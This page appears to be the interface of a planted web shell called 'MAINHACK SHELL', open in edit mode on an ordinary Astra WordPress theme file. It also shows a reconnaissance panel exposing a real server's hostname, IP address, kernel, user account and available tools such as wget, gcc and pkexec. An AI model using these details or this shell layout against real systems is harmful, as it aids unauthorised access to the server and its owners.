[
MAINHACK SHELL
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: sidebar-manager.php
<?php /** * Sidebar Manager functions * * @package Astra * @author Astra * @copyright Copyright (c) 2020, Astra * @link https://wpastra.com/ * @since Astra 1.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Site Sidebar */ if ( ! function_exists( 'astra_page_layout' ) ) { /** * Site Sidebar * * Default 'right sidebar' for overall site. */ function astra_page_layout() { $supported_post_types = Astra_Posts_Structure_Loader::get_supported_post_types(); if ( is_singular() ) { // If post meta value is empty, // Then get the POST_TYPE sidebar. $layout = astra_get_option_meta( 'site-sidebar-layout', '', true ); // If post meta value is empty or in editor and sidebar set as default. if ( empty( $layout ) ) { $post_type = strval( get_post_type() ); if ( in_array( $post_type, $supported_post_types ) ) { $layout = astra_get_option( 'single-' . $post_type . '-sidebar-layout' ); } if ( 'default' == $layout || empty( $layout ) ) { // Get the global sidebar value. // NOTE: Here not used `true` in the below function call. $layout = astra_get_option( 'site-sidebar-layout' ); } } } else { if ( is_search() ) { // Check only post type archive option value. $layout = astra_get_option( 'archive-post-sidebar-layout' ); $search_sidebar_layout = astra_get_option( 'ast-search-sidebar-layout', 'default' ); $layout = 'default' !== $search_sidebar_layout ? $search_sidebar_layout : $layout; if ( 'default' == $layout || empty( $layout ) ) { // Get the global sidebar value. // NOTE: Here not used `true` in the below function call. $layout = astra_get_option( 'site-sidebar-layout' ); } } else { $post_type = strval( get_post_type() ); $layout = ''; if ( in_array( $post_type, $supported_post_types ) ) { $layout = astra_get_option( 'archive-' . $post_type . '-sidebar-layout' ); } if ( 'default' == $layout || empty( $layout ) ) { // Get the global sidebar value. // NOTE: Here not used `true` in the below function call. $layout = astra_get_option( 'site-sidebar-layout' ); } } } return apply_filters( 'astra_page_layout', $layout ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server.isorus.org
Server IP: 159.223.142.74
PHP Version: 7.4.33
Server Software: Apache
System: Linux server.isorus.org 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
HDD Total: 319.99 GB
HDD Free: 215.78 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
Off
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: inceptionblue
User ID (UID): 1042
Group ID (GID): 1043
Script Owner UID:
Current Dir Owner: 1042